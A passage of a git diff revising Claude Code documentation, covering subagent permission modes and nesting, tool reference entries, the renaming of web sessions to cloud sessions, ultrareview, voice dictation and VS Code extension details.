rules. When the subagent finishes, the classifier also reviews its work and its final report before the report is delivered, as [How auto mode handles subagents](/docs/en/permission-modes#eliminate-prompts-with-auto-mode) describes. * When the main conversation is in `default`, `dontAsk`, or `plan` mode, the subagent runs in the permission mode you set, except `bypassPermissions`. A subagent that declares `bypassPermissions` keeps the main conversation's mode instead. The `bypassPermissions` exception requires Claude Code v2.1.267 or later. `permissionMode` accepts these values, and `manual` as an alias for `default`: @@ -990,7 +990,7 @@ For a question about something already in your conversation, use [`/btw`](/docs/ By default, a subagent can spawn subagents of its own, up to three layers below the main conversation. At the depth limit, Claude Code withholds the `Agent` tool from every subagent except a [fork](#fork-the-current-conversation), so a subagent at the limit does its delegated work itself and returns one summary. A fork at the limit keeps `Agent` in its inherited tool list, but the tool returns an error instead of spawning. -Nested subagents suit a delegated task that itself splits into parallel subtasks, such as a reviewer subagent that dispatches a verifier per finding, so the intermediate output never reaches your main conversation. Only the top-level subagent's summary returns to you. +Nested subagents suit a delegated task that itself splits into parallel subtasks, such as a reviewer subagent that dispatches a verifier per finding. In an interactive session, only the top-level subagent's summary returns to you and the intermediate output stays out of your main conversation: a subagent that launches background subagents waits for their results before it finishes. In [non-interactive mode](/docs/en/headless) and the Agent SDK, the launching subagent doesn't wait, so a nested background subagent that finishes after its launcher has ended reports to your main conversation instead. To change the limit, set [`CLAUDE_CODE_MAX_SUBAGENT_SPAWN_DEPTH`](/docs/en/env-vars) to the number of subagent layers you want below your main conversation. For example, this entry in [`settings.json`](/docs/en/settings) caps nesting at two layers: diff --git a/content/en/docs/claude-code/terminal-config.md b/content/en/docs/claude-code/terminal-config.md index df949558c0..aea2bd48f9 100644 --- a/content/en/docs/claude-code/terminal-config.md +++ b/content/en/docs/claude-code/terminal-config.md @@ -116,7 +116,7 @@ The example below plays a system sound on macOS. The linked guide has desktop no ## Configure tmux -When Claude Code runs inside tmux, two things break by default: Shift+Enter submits instead of inserting a newline, and desktop notifications and the [progress bar](/docs/en/settings-reference#terminalprogressbarenabled) never reach the outer terminal. Add these lines to `~/.tmux.conf`, then run `tmux source-file ~/.tmux.conf` to apply them to the running server: +When Claude Code runs inside tmux, by default Shift+Enter submits instead of inserting a newline, and desktop notifications and the [progress bar](/docs/en/settings-reference#terminalprogressbarenabled) never reach the outer terminal. Add these lines to `~/.tmux.conf`, then run `tmux source-file ~/.tmux.conf` to apply them to the running server: ```bash ~/.tmux.conf theme={null} set -g allow-passthrough on diff --git a/content/en/docs/claude-code/third-party-integrations.md b/content/en/docs/claude-code/third-party-integrations.md index ebfa4a1980..a57752f2ea 100644 --- a/content/en/docs/claude-code/third-party-integrations.md +++ b/content/en/docs/claude-code/third-party-integrations.md @@ -90,7 +90,7 @@ For most organizations, Claude for Teams or Claude for Enterprise provides the b Learn more about [Team plans](https://support.claude.com/en/articles/9266767-what-is-the-team-plan) and [Enterprise plans](https://support.claude.com/en/articles/9797531-what-is-the-enterprise-plan). -The deployment options compared below cover where model inference runs. To run [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions on compute your organization operates, see [self-hosted environments](/docs/en/self-hosted-environments). +The deployment options compared below cover where model inference runs. To run Claude Code [cloud sessions](/docs/en/claude-code-on-the-web) on compute your organization operates, see [self-hosted environments](/docs/en/self-hosted-environments). If your organization has specific infrastructure requirements, compare the options below: @@ -150,7 +150,7 @@ If your organization has specific infrastructure requirements, compare the optio Authentication - Claude.ai SSO or email + claude.ai SSO or email API key or a [Console sign-in without one](/docs/en/authentication#sign-in-without-an-api-key) API key or AWS credentials API key or AWS credentials diff --git a/content/en/docs/claude-code/tools-reference.md b/content/en/docs/claude-code/tools-reference.md index 258eb485e2..8a59d9202a 100644 --- a/content/en/docs/claude-code/tools-reference.md +++ b/content/en/docs/claude-code/tools-reference.md @@ -33,7 +33,7 @@ To add custom tools, connect an [MCP server](/docs/en/mcp). To extend Claude wit | `ExitWorktree` | Exits a worktree session and returns to the original directory. Not available to subagents that already run in their own working directory, such as with [`isolation: worktree`](/docs/en/sub-agents#supported-frontmatter-fields) | No | | `Glob` | Finds files based on pattern matching. Absent by default on macOS, Linux, and WSL. See [Glob tool behavior](#glob-tool-behavior) | No | | `Grep` | Searches for patterns in file contents. Absent by default on macOS, Linux, and WSL. See [Grep tool behavior](#grep-tool-behavior) | No | -| `ListAgents` | Lists the agents Claude can message with `SendMessage`: subagents in the session, [agent team](/docs/en/agent-teams) teammates, your other local Claude Code sessions, and, while this session is connected to [Remote Control](/docs/en/remote-control), your [Claude Code on the web](/docs/en/claude-code-on-the-web) sessions and your Remote Control sessions on other machines. Backs the `/list-agents` command. See [cross-session messaging](/docs/en/cross-session-messaging). Requires Claude Code v2.1.224 or later, and appears only in sessions where [cross-session messaging is enabled](/docs/en/cross-session-messaging#availability). Teammate rows and the first line showing this session's own name require v2.1.239 or later | No | +| `ListAgents` | Lists the agents Claude can message with `SendMessage`: subagents in the session, [agent team](/docs/en/agent-teams) teammates, your other local Claude Code sessions, and, while this session is connected to [Remote Control](/docs/en/remote-control), your [cloud sessions](/docs/en/claude-code-on-the-web) and your Remote Control sessions on other machines. Backs the `/list-agents` command. See [cross-session messaging](/docs/en/cross-session-messaging). Requires Claude Code v2.1.224 or later, and appears only in sessions where [cross-session messaging is enabled](/docs/en/cross-session-messaging#availability). Teammate rows and the first line showing this session's own name require v2.1.239 or later | No | | `ListMcpResourcesTool` | Lists resources exposed by connected [MCP servers](/docs/en/mcp) | No | | `LSP` | Code intelligence via language servers: jump to definitions, find references, report type errors and warnings. See [LSP tool behavior](#lsp-tool-behavior) | No | | `Monitor` | Runs a command in the background and feeds each output line back to Claude, so it can react to log entries, file changes, or polled status mid-conversation. Can also open a WebSocket and treat each incoming message as an event. See [Monitor tool](#monitor-tool) | Yes | @@ -47,9 +47,10 @@ To add custom tools, connect an [MCP server](/docs/en/mcp). To extend Claude wit | `ScheduleWakeup` | Reschedules the next iteration of a [self-paced `/loop`](/docs/en/scheduled-tasks#let-claude-choose-the-interval). Claude calls this at the end of each iteration to pick when the next one runs, between one minute and one hour out; you don't call it directly. To end the loop instead, Claude calls it with `stop: true`, which cancels the pending wakeup. The `stop` field requires Claude Code v2.1.202 or later. The pending wakeup appears in `session_crons` in [Stop hook input](/docs/en/hooks#stop-input) | No | | `SendFeedback` | Drafts a feedback report about Claude Code, covering a product problem or Claude's own behavior in the session, and queues it on your machine for you to review. Claude Code sends nothing until you choose to send the draft. See [SendFeedback tool behavior](#sendfeedback-tool-behavior). Requires Claude Code v2.1.238 or later | No | | `SendMessage` | Sends a message to another agent: an [agent team](/docs/en/agent-teams) teammate, a [subagent it resumes](/docs/en/sub-agents#resume-subagents) by agent ID or name, or one of your other Claude Code sessions, on this machine or beyond it. Messaging other sessions requires Claude Code v2.1.224 or later. [Cross-session messaging](/docs/en/cross-session-messaging) covers which sessions Claude can reach, [what a message looks like when it arrives](/docs/en/cross-session-messaging#what-a-message-looks-like), and [how Claude gets a notice when another session goes idle](/docs/en/cross-session-messaging#get-a-notice-when-another-session-goes-idle). Claude can include an optional `summary` input, typically 5-10 words, that Claude Code shows as a one-line preview. When Claude omits it on a [plain-text message](/docs/en/cross-session-messaging#limitations), Claude Code uses the first line of the message as the summary. Claude Code truncates a summary longer than 200 characters with an ellipsis | No | -| `SendUserFile` | Sends files from the session to you with an optional caption, so a generated report, diagram, screenshot, or built artifact reaches your device instead of only being mentioned in the transcript. As of v2.1.196, the optional `display` input controls presentation: `render` opens the file inline in the client, `attach` shows a download card only, and when unset the client decides by file type. Available when a [Remote Control](/docs/en/remote-control) client is connected or the session runs in a managed cloud environment such as [Claude Code on the web](/docs/en/claude-code-on-the-web). Delivery runs through Anthropic-hosted infrastructure, so the tool is not available on Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry | No | +| `SendUserFile` | Sends files from the session to you with an optional caption, so a generated report, diagram, screenshot, or built artifact reaches your device instead of only being mentioned in the transcript. As of v2.1.196, the optional `display` input controls presentation: `render` opens the file inline in the client, `attach` shows a download card only, and when unset the client decides by file type. Available when a [Remote Control](/docs/en/remote-control) client is connected or in a [cloud session](/docs/en/claude-code-on-the-web). Delivery runs through Anthropic-hosted infrastructure, so the tool is not available on Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry | No | | `ShareOnboardingGuide` | Uploads `ONBOARDING.md` and returns a share link teammates can open in Claude Code. Called from `/team-onboarding` after the guide is written. Available to claude.ai subscribers on Pro, Max, Team, and Enterprise plans | Yes | | `Skill` | Executes a [skill](/docs/en/skills#control-who-invokes-a-skill) within the main conversation | Yes | +| `SubagentHandback` | Delivers a subagent's final report to whichever conversation receives that subagent's result. Provided only in [auto mode](/docs/en/permission-modes#eliminate-prompts-with-auto-mode), to subagents that the Agent tool runs locally other than [forks](/docs/en/sub-agents#fork-the-current-conversation), and available in the terminal CLI, IDE extensions, cloud sessions, and the Agent SDK; the classifier reviews the report before it's delivered. Requires Claude Code v2.1.271 or later | No | | `TaskCreate` | Creates a new task in the task list. Provided by default only on the models listed under [Task tool availability](#task-tool-availability), and on other models when you opt in | No | | `TaskGet` | Retrieves full details for a specific task. Provided by default only on the models listed under [Task tool availability](#task-tool-availability), and on other models when you opt in | No | | `TaskList` | Lists all tasks with their current status. Provided by default only on the models listed under [Task tool availability](#task-tool-availability), and on other models when you opt in | No | @@ -95,7 +96,7 @@ Hook `matcher` fields use bare tool names, not the parenthesized rule format. Se ## Agent tool behavior -The Agent tool spawns a subagent in a separate context window. The subagent works through its task autonomously, then returns a single text result to the parent conversation. The parent doesn't see the subagent's intermediate tool calls or outputs, only that final result. With [agent teams](/docs/en/agent-teams) enabled, a call that carries a `name` can launch a [teammate](/docs/en/agent-teams#how-claude-starts-agent-teams) instead, which reports back through team messages rather than by returning a result. +The Agent tool spawns a subagent in a separate context window. The subagent works through its task autonomously, then returns its result to the parent conversation. The parent doesn't see the subagent's intermediate tool calls or outputs, only that final result. With [agent teams](/docs/en/agent-teams) enabled, a call that carries a `name` can launch a [teammate](/docs/en/agent-teams#how-claude-starts-agent-teams) instead, which reports back through team messages rather than by returning a result. To cap how many turns a subagent runs, set `maxTurns` in the [subagent definition](/docs/en/sub-agents#supported-frontmatter-fields). When the subagent reaches the limit, Claude Code marks the returned result as partial output, and Claude can [resume the subagent](/docs/en/sub-agents#resume-subagents) to continue. @@ -108,7 +109,7 @@ Which tools a non-fork subagent can use depends on the `tools` and `disallowedTo * **`disallowedTools` only**: the subagent gets every parent tool except the listed ones. * **Both set**: `disallowedTools` takes precedence. A tool listed in both is removed. -In every case, the resolved set is limited to the [tools available to subagents](/docs/en/sub-agents#available-tools): a tool that isn't available to subagents is never granted, even when listed in `tools`. +In every case, the resolved set is limited to the [tools available to subagents](/docs/en/sub-agents#available-tools): a tool that isn't available to subagents is never granted, even when listed in `tools`. Where the conditions in the `SubagentHandback` tools-table entry hold, Claude Code also gives the subagent that tool, even if you leave it out of `tools` or list it in `disallowedTools`. If every entry in a subagent's `tools` list fails to match a usable tool, the Agent tool usually returns an error naming the entries instead of launching the subagent; see [Agent would be spawned with zero tools](/docs/en/errors#agent-would-be-spawned-with-zero-tools) for the message and how to fix each entry. @@ -244,7 +245,7 @@ The tool never prompts for permission, and [PreToolUse hooks](/docs/en/hooks#pre [Subagents](/docs/en/sub-agents) never get the tool. Background tasks that share the main conversation's tool list see it, but calling it there ends nothing. -The tool appears only when all of the following hold: +The tool appears only when all of the following are true: * **Version**: Claude Code v2.1.213 or later. * **Model**: the session's model is Claude Opus 4.8, Claude Sonnet 5, Claude Fable 5, or a later version of one of those families. @@ -253,7 +254,7 @@ The tool appears only when all of the following hold: * sessions through the [Agent SDK](/docs/en/agent-sdk/overview) TypeScript and Python packages * the [VS Code extension](/docs/en/vs-code) panel, which bundles its own CLI * [GitHub Actions](/docs/en/github-actions) - * [Claude Code on the web](/docs/en/claude-code-on-the-web) + * [cloud sessions](/docs/en/claude-code-on-the-web) * **Startup mode**: not a [`--bare`](/docs/en/headless#start-faster-with-bare-mode) session. Bare mode loads only shell and file tools, so the tool is never registered there. * **Provider**: not available on [Amazon Bedrock](/docs/en/amazon-bedrock), [Claude Platform on AWS](/docs/en/claude-platform-on-aws), [Google Cloud's Agent Platform](/docs/en/google-vertex-ai), or [Microsoft Foundry](/docs/en/microsoft-foundry), or on sessions signed in through a [cloud gateway](/docs/en/claude-apps-gateway). @@ -515,7 +516,7 @@ Set **Claude-drafted feedback** to `off` in `/config`, which writes the [`feedba Claude Code includes the tool in interactive terminal sessions on your own machine that use the Claude API rather than a cloud provider. It leaves the tool out of: * Non-interactive `-p` runs and [Agent SDK](/docs/en/agent-sdk/overview) sessions, which have no screen to review the queue on -* Cloud sessions such as [Claude Code on the web](/docs/en/claude-code-on-the-web), which can't write to the queue on your machine +* [Cloud sessions](/docs/en/claude-code-on-the-web), which can't write to the queue on your machine * Sessions on [Amazon Bedrock](/docs/en/amazon-bedrock), [Claude Platform on AWS](/docs/en/claude-platform-on-aws), [Google Cloud's Agent Platform](/docs/en/google-vertex-ai), or [Microsoft Foundry](/docs/en/microsoft-foundry) * Sessions where you set [`CLAUDE_CODE_SEND_FEEDBACK=0`](/docs/en/env-vars) or [`DISABLE_FEEDBACK_COMMAND=1`](/docs/en/env-vars), set `CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC` to any non-empty value, or turned off [feature-flag fetching](/docs/en/env-vars#features-that-need-feature-flag-fetching) * Organizations that have turned off product feedback, and [organizations with zero data retention](/docs/en/zero-data-retention#features-disabled-under-zdr) @@ -533,7 +534,7 @@ If you'd like to use these tools on a model that doesn't have them by default, d * List the tools in [`--tools`](/docs/en/cli-reference#cli-flags), which restricts the session's built-in tools to the ones it names. Include the tools you want alongside the other built-in tools you use * In the Agent SDK, the [`allowedTools` and `tools` options](/docs/en/agent-sdk/todo-tracking#model-availability) work the same way as the two flags -In [background sessions](/docs/en/agent-view) and in [Claude Code on the web](/docs/en/claude-code-on-the-web), Claude Code provides the same tools on every model, listed or not. +In [background sessions](/docs/en/agent-view) and in [cloud sessions](/docs/en/claude-code-on-the-web), Claude Code provides the same tools on every model, listed or not. Claude Code gives a subagent the tools only when your session has them, even when the subagent runs a different model. An in-process [agent team](/docs/en/agent-teams) teammate follows your session the same way, while a teammate in its own [split pane](/docs/en/agent-teams#choose-a-display-mode) runs as a separate Claude Code process, so its own model decides. Without the Task tools, an agent coordinates with its team through messages instead of the [shared task list](/docs/en/agent-teams#assign-and-claim-tasks). diff --git a/content/en/docs/claude-code/troubleshoot-install.md b/content/en/docs/claude-code/troubleshoot-install.md index 72baae09ba..13c09dbff2 100644 --- a/content/en/docs/claude-code/troubleshoot-install.md +++ b/content/en/docs/claude-code/troubleshoot-install.md @@ -870,7 +870,7 @@ The `npm error path` line names the directory npm couldn't move. Delete that dir rm -rf "$(npm root -g)/@anthropic-ai/claude-code" ``` - Then remove any leftover temp directories. If zsh prints `no matches found`, there were none to remove: + Then remove any leftover temp directories. If Zsh prints `no matches found`, there were none to remove: ```bash theme={null} rm -rf "$(npm root -g)/@anthropic-ai/.claude-code-"* diff --git a/content/en/docs/claude-code/troubleshooting.md b/content/en/docs/claude-code/troubleshooting.md index 583a5c8c65..db68b3fb9e 100644 --- a/content/en/docs/claude-code/troubleshooting.md +++ b/content/en/docs/claude-code/troubleshooting.md @@ -45,7 +45,7 @@ If memory usage stays high after these steps, run `/heapdump` to write two files The command also prints a summary in the conversation, showing resident set size, JS heap, array buffers, and unaccounted native memory, plus any leak indicators it detected, such as a high memory growth rate or an unusually high number of open handles. The summary says whether most memory is in the JS heap, which the snapshot captures, or in native memory, which it doesn't. -Do one of two things with the output: +Report the output or investigate it yourself: * **Report it**: open a [GitHub issue](https://github.com/anthropics/claude-code/issues) and attach only the `-diagnostics.json` file, which carries the statistics behind the printed summary and no conversation content or credentials * **Investigate it yourself**: if the summary says most memory is JS heap, open the `.heapsnapshot` file in Chrome DevTools under Memory → Load and sort by retained size to see what's holding the memory @@ -84,7 +84,7 @@ If characters render as boxes, smears, or the wrong glyphs when running Claude C In [fullscreen rendering](/docs/en/fullscreen), Claude Code scrolls the conversation itself rather than leaving it to your terminal. If each wheel notch moves fewer lines than you want, run `/scroll-speed` to raise the number of lines per notch and save it, or set the `CLAUDE_CODE_SCROLL_SPEED` environment variable, except in the JetBrains IDE terminal, where Claude Code applies its own scroll handling and neither takes effect. See [Mouse wheel scrolling](/docs/en/fullscreen#mouse-wheel-scrolling) for the values each accepts. -To move faster without changing the speed, press `PgUp` and `PgDn` to scroll half a screen at a time. To hand scrolling back to your terminal's native scrollback instead, run `/tui default` to switch to the classic renderer. +To move faster without changing the speed, press `PgUp` and `PgDn` to scroll half a screen at a time. To use your terminal's native scrollback instead, run `/tui default` to switch to the classic renderer. ### Clipboard commands such as `pbcopy` fail inside the sandbox diff --git a/content/en/docs/claude-code/ultraplan.md b/content/en/docs/claude-code/ultraplan.md index bf010e8561..89547d33d4 100644 --- a/content/en/docs/claude-code/ultraplan.md +++ b/content/en/docs/claude-code/ultraplan.md @@ -4,7 +4,7 @@ # Ultraplan is no longer available -> Replace the removed Ultraplan research preview with plan mode for local planning or Claude Code on the web for cloud sessions. +> Replace the removed Ultraplan research preview with plan mode for local planning, or a cloud session to plan and review in your browser. Anthropic has removed the Ultraplan research preview. Research previews are experimental and may change or be removed based on feedback. The removal covers: @@ -15,4 +15,4 @@ Anthropic has removed the Ultraplan research preview. Research previews are expe For planning workflows, use: * [Plan mode](/docs/en/permission-modes#analyze-before-you-edit-with-plan-mode): in your local session, have Claude research your codebase and present a plan for your approval before it makes any changes -* [Claude Code on the web](/docs/en/claude-code-on-the-web): run Claude Code sessions in the cloud and review changes in your browser +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): run Claude Code sessions in the cloud and review changes in your browser diff --git a/content/en/docs/claude-code/ultrareview.md b/content/en/docs/claude-code/ultrareview.md index 137ba5fe01..20c4d2d561 100644 --- a/content/en/docs/claude-code/ultrareview.md +++ b/content/en/docs/claude-code/ultrareview.md @@ -10,15 +10,15 @@ Ultrareview is a research preview feature. The feature, pricing, and availability may change based on feedback. The command is `/code-review ultra`. When ultrareview is available to your account, `/ultrareview` is an alias. -Ultrareview is a deep code review that runs on Claude Code on the web infrastructure. When you run `/code-review ultra`, Claude Code launches a fleet of reviewer agents in a remote sandbox to find bugs in your branch or pull request. +Ultrareview is a deep code review that runs as a [cloud session](/docs/en/claude-code-on-the-web) on Anthropic's infrastructure. When you run `/code-review ultra`, Claude Code launches a fleet of reviewer agents in a cloud sandbox to find bugs in your branch or pull request. Compared to a local `/code-review`, ultrareview offers: * **Higher signal**: every reported finding is independently reproduced and verified, so the results focus on real bugs rather than style suggestions * **Broader coverage**: a larger fleet of reviewer agents explores the change in parallel, which surfaces issues that a local review can miss -* **No local resource use**: the review runs entirely in a remote sandbox, so your terminal stays free for other work while it runs +* **No local resource use**: the review runs entirely in a cloud sandbox, so your terminal stays free for other work while it runs -Ultrareview requires authentication with a claude.ai account because it runs on Claude Code on the web infrastructure. If you are signed in with an API key only, run `/login` and authenticate with claude.ai first. Ultrareview is not available when using Claude Code with Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry, and it is not available to organizations that have enabled Zero Data Retention. When ultrareview is not available, `/code-review ultra` runs a local review in your session instead. +Ultrareview requires authentication with a claude.ai account because it runs as a cloud session on Anthropic's infrastructure. If you are signed in with an API key only, run `/login` and authenticate with claude.ai first. Ultrareview is not available when using Claude Code with Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry, and it is not available to organizations that have enabled Zero Data Retention. When ultrareview is not available, `/code-review ultra` runs a local review in your session instead. ## Run ultrareview from the CLI @@ -30,7 +30,7 @@ Start a review from any git repository: Without arguments, ultrareview reviews the diff between your current branch and the default branch, including uncommitted and staged changes. For uncommitted changes to files named like credentials or keys, such as `.env` and `*.tfvars` files, Claude Code follows the rules for [uploading a local repository to a cloud session](/docs/en/claude-code-on-the-web#send-local-repositories-without-github). -For a branch review, Claude Code bundles the repository state and uploads it to a remote sandbox; when you [review a pull request](#review-a-pull-request), Claude Code uploads nothing from your machine. +For a branch review, Claude Code bundles the repository state and uploads it to a cloud sandbox; when you [review a pull request](#review-a-pull-request), Claude Code uploads nothing from your machine. Before launching, Claude Code shows a confirmation dialog with the review scope, your remaining free runs, and the estimated cost; for a branch review, the scope includes the file and line count. After you confirm, the review continues in the background while you keep using your session. @@ -56,7 +56,7 @@ To review a GitHub pull request instead of a local branch, pass the PR number: The command also accepts `#1234`, `PR 1234`, and pasted PR URLs; a pasted URL must point to the repository in your current directory. -In PR mode, the remote sandbox clones the pull request directly from the host rather than bundling your local working tree. PR mode works with repositories on `github.com` and on [GitHub Enterprise Server](/docs/en/github-enterprise-server) instances that an Owner has connected to Claude Code. +In PR mode, the cloud sandbox clones the pull request directly from the host rather than bundling your local working tree. PR mode works with repositories on `github.com` and on [GitHub Enterprise Server](/docs/en/github-enterprise-server) instances that an Owner has connected to Claude Code. For repositories on `github.com`, the sandbox clones with the GitHub account connected to your Claude account, so the account must be able to read the PR's repository. Claude Code checks this before creating the cloud session, unless you've set [`CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC`](/docs/en/env-vars#variables), and refuses the launch when [no account is connected](/docs/en/errors#no-github-account-is-connected-to-your-claude-account) or [the account can't see the repository](/docs/en/errors#your-connected-github-account-cant-see-the-repository); the refusal names the fix. Before v2.1.248, Claude Code didn't check this before launch. @@ -71,7 +71,7 @@ Claude Code never posts unless you choose to on that run, and `--no-post` is the * **Interactive**: in the launch dialog, select **Run and post the findings to the PR as me**. If you add `--post` to the command, as in `/code-review ultra 1234 --post`, Claude Code preselects that choice and still asks before launching. * **Non-interactive**: run the [`claude ultrareview` subcommand](#run-ultrareview-non-interactively) with `--post`. You consent to the post by running the subcommand with the flag, so Claude Code posts without asking. In a `claude -p '/code-review ultra'` run, Claude Code exits before the findings arrive, so it posts nothing; use the subcommand instead. -Claude Code doesn't post from your machine. It sends the findings to a session on [Claude Code on the web](/docs/en/claude-code-on-the-web), which posts the comment through the GitHub account you've connected to Claude. Posting requires the same claude.ai sign-in as the review itself. Because posting runs through Claude Code on the web, it isn't available on third-party providers or when you set [`CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC`](/docs/en/env-vars). +Claude Code doesn't post from your machine. It sends the findings to a [cloud session](/docs/en/claude-code-on-the-web), which posts the comment through the GitHub account you've connected to Claude. Posting requires the same claude.ai sign-in as the review itself. Because posting runs through a cloud session, it isn't available on third-party providers or when you set [`CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC`](/docs/en/env-vars). In an interactive session, Claude Code starts the post when the findings arrive, so keep the session open until the review finishes. Claude Code keeps the posting choice only in that session. If the session ends before the review finishes, Claude Code posts nothing, even if you resume the conversation later. @@ -178,7 +178,7 @@ Both reviews examine code, but you use them at different stages of your workflow | | `/code-review` | `/code-review ultra` | | -------- | ------------------------------------------------------ | --------------------------------------------------------------- | | Target | your working diff, a pull request, a branch, or a path | your working diff or a pull request | -| Runs | locally in your session | remotely in a cloud sandbox | +| Runs | locally in your session | in a cloud sandbox | | Depth | scales with the effort argument | multi-agent fleet with independent verification | | Duration | seconds to a few minutes | roughly 5 to 10 minutes | | Cost | counts toward normal usage | free runs, then roughly \$5 to \$25 per review as usage credits | @@ -188,5 +188,5 @@ Use `/code-review` for fast feedback as you work, or pass a PR number to review ## Related resources -* [Claude Code on the web](/docs/en/claude-code-on-the-web): learn how cloud sessions and cloud sandboxes work +* [Use Claude Code in the cloud](/docs/en/claude-code-on-the-web): learn how cloud sessions and cloud sandboxes work * [Manage costs effectively](/docs/en/costs): track usage and set spending limits diff --git a/content/en/docs/claude-code/voice-dictation.md b/content/en/docs/claude-code/voice-dictation.md index 0dc3831052..a55a483e40 100644 --- a/content/en/docs/claude-code/voice-dictation.md +++ b/content/en/docs/claude-code/voice-dictation.md @@ -15,14 +15,14 @@ Dictation also works in [agent view](/docs/en/agent-view#peek-and-reply). Hold o Voice dictation streams your recorded audio to Anthropic's servers for transcription. Audio is not processed locally. It needs all of the following: * **A Claude.ai account**: the speech-to-text service is only available when you authenticate with one, and is not available when Claude Code is configured to use an Anthropic API key directly, Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry. -* **A local microphone**: voice dictation does not work in remote environments such as [Claude Code on the web](/docs/en/claude-code-on-the-web) or SSH sessions. +* **A local microphone**: voice dictation does not work in [cloud sessions](/docs/en/claude-code-on-the-web) or SSH sessions. * **WSLg, if you run Claude Code in WSL**: WSLg is included with WSL2 when installed from the Microsoft Store on Windows 10 or 11. If WSLg is not available, for example on WSL1, run Claude Code in native Windows instead. Transcription does not consume Claude messages or tokens and does not count toward the limits shown in `/usage`. See [data usage](/docs/en/data-usage) for how Anthropic handles your data. Audio recording uses a built-in native module on macOS, Linux, and Windows. On Linux, if the native module cannot load, Claude Code falls back to `arecord` from ALSA utils or `rec` from SoX. If neither is available, `/voice` prints an install command for your package manager. -The Claude Code [VS Code extension](/docs/en/vs-code) also supports voice dictation with the same Claude.ai account requirement. It is not available in VS Code Remote sessions, including SSH, Dev Containers, and Codespaces, because the microphone is on your local machine and the extension runs on the remote host. +The Claude Code [VS Code extension](/docs/en/vs-code) also supports voice dictation with the same claude.ai account requirement. It is not available in VS Code Remote sessions, including SSH, Dev Containers, and Codespaces, because the microphone is on your local machine and the extension runs on the remote host. ## Enable voice dictation @@ -158,7 +158,7 @@ Some keys are not delivered to terminal applications and can't be bound at all. Common issues when voice dictation does not activate or record: -* **`Voice mode requires a Claude.ai account`**: you are authenticated with an API key or a third-party provider. Run `/login` to sign in with a Claude.ai account. +* **`Voice mode requires a Claude.ai account`**: you are authenticated with an API key or a third-party provider. Run `/login` to sign in with a claude.ai account. * **`Voice mode is disabled by your organization's policy`**: an administrator policy for your organization turns off voice dictation. Contact your organization administrator to confirm whether voice dictation is available for your organization. * **`Microphone access is denied`**: grant microphone permission to your terminal in system settings. On macOS, go to System Settings → Privacy & Security → Microphone and enable your terminal app, then run `/voice` again. On Windows, go to Settings → Privacy & security → Microphone and turn on microphone access for desktop apps, then run `/voice` again. If your terminal isn't listed in the macOS settings, see [Terminal not listed in macOS Microphone settings](#terminal-not-listed-in-macos-microphone-settings). * **`Voice mode requires SoX for audio recording` on Linux**: the native audio module could not load and no fallback is installed. Install SoX with the command shown in the error message, for example `sudo apt-get install sox`. diff --git a/content/en/docs/claude-code/vs-code.md b/content/en/docs/claude-code/vs-code.md index 241c661aaf..cd2090044b 100644 --- a/content/en/docs/claude-code/vs-code.md +++ b/content/en/docs/claude-code/vs-code.md @@ -103,7 +103,7 @@ The prompt box supports several features: * **Plan**: Claude describes what it will do and waits for approval before making changes. VS Code automatically opens the plan as a full Markdown document where you can add inline comments to give feedback before Claude begins. * **Edit automatically**: Claude makes edits without asking. * **Model**: select **Switch model…** from the command menu to change the model mid-session. You can also click the model name at the bottom of the prompt box to open the same picker. When the current model supports [effort levels](/docs/en/model-config#adjust-effort-level), the picker also shows an **Effort** row and the model name button shows the selected level. The model name button and the **Effort** row require Claude Code v2.1.257 or later. -* **Command menu**: click `/` or type `/` to open the command menu. Options include attaching files, switching models, and toggling extended thinking. The Customize section provides access to MCP servers, slash commands, output styles, hooks, memory, permissions, and plugins. Items with a terminal icon open in the integrated terminal. +* **Command menu**: click `/` or type `/` to open the command menu. Options include attaching files, switching models, and toggling extended thinking. The Customize section provides access to MCP servers, commands, output styles, hooks, memory, permissions, and plugins. Items with a terminal icon open in the integrated terminal. * To browse commands such as `/usage` or [`/remote-control`](/docs/en/remote-control), select **Slash commands** in the Customize section. A dialog lists them with a filter box. Pick one to run it. Typing `/` in the prompt box still suggests commands inline. Requires Claude Code v2.1.257 or later. * Select **Output styles** in the Customize section to pick an [output style](/docs/en/output-styles), including your custom styles. Requires Claude Code v2.1.257 or later. @@ -166,7 +166,7 @@ When the conversation you resume ended in plan mode, Claude Code restores plan m ### Resume cloud sessions from Claude.ai -If you use [Claude Code on the web](/docs/en/claude-code-on-the-web), you can resume those cloud sessions directly in VS Code. This requires signing in with **Claude.ai Subscription**, not Anthropic Console. +If you run [cloud sessions](/docs/en/claude-code-on-the-web), you can resume them directly in VS Code. This requires signing in with **Claude.ai Subscription**, not Anthropic Console. @@ -183,7 +183,7 @@ If you use [Claude Code on the web](/docs/en/claude-code-on-the-web), you can re - Only web sessions started with a GitHub repository appear in the Web tab. Resuming loads the conversation history locally; changes are not synced back to claude.ai. + Only cloud sessions started with a GitHub repository appear in the Web tab. Resuming loads the conversation history locally; changes are not synced back to claude.ai. ### Check account and usage @@ -452,7 +452,7 @@ Claude Code is available as both a VS Code extension (graphical panel) and a CLI | Commands and skills | [All](/docs/en/commands) | Subset (type `/` to see available) | | MCP server config | Yes | Yes ([add and manage servers](#connect-to-external-tools-with-mcp) with `/mcp` in the chat panel) | | Checkpoints | Yes | Yes | -| `!` bash shortcut | Yes | No | +| `!` Bash shortcut | Yes | No | | Tab completion | Yes | No | ### Rewind with checkpoints @@ -568,14 +568,14 @@ If you turn off the [Attach Open File setting](#extension-settings), the CLI rec **Transport and authentication.** The server binds to `127.0.0.1` on a random port in the range 10000–65535, and the port is not configurable. The transport is unencrypted `ws://`; because the socket is loopback-only, any process that could capture the traffic can also read the token from the lock file, so TLS would not add protection. Each extension activation generates a fresh random auth token, writes it to a lock file at `~/.claude/ide/.lock`, and the CLI must present it as the `X-Claude-Code-Ide-Authorization` header to connect. The lock file has `0600` permissions in a `0700` directory, so only the user running VS Code can read it. If `CLAUDE_CONFIG_DIR` is set, the lock file is written to `$CLAUDE_CONFIG_DIR/ide/` instead. -**Tools exposed to the model.** The server hosts a 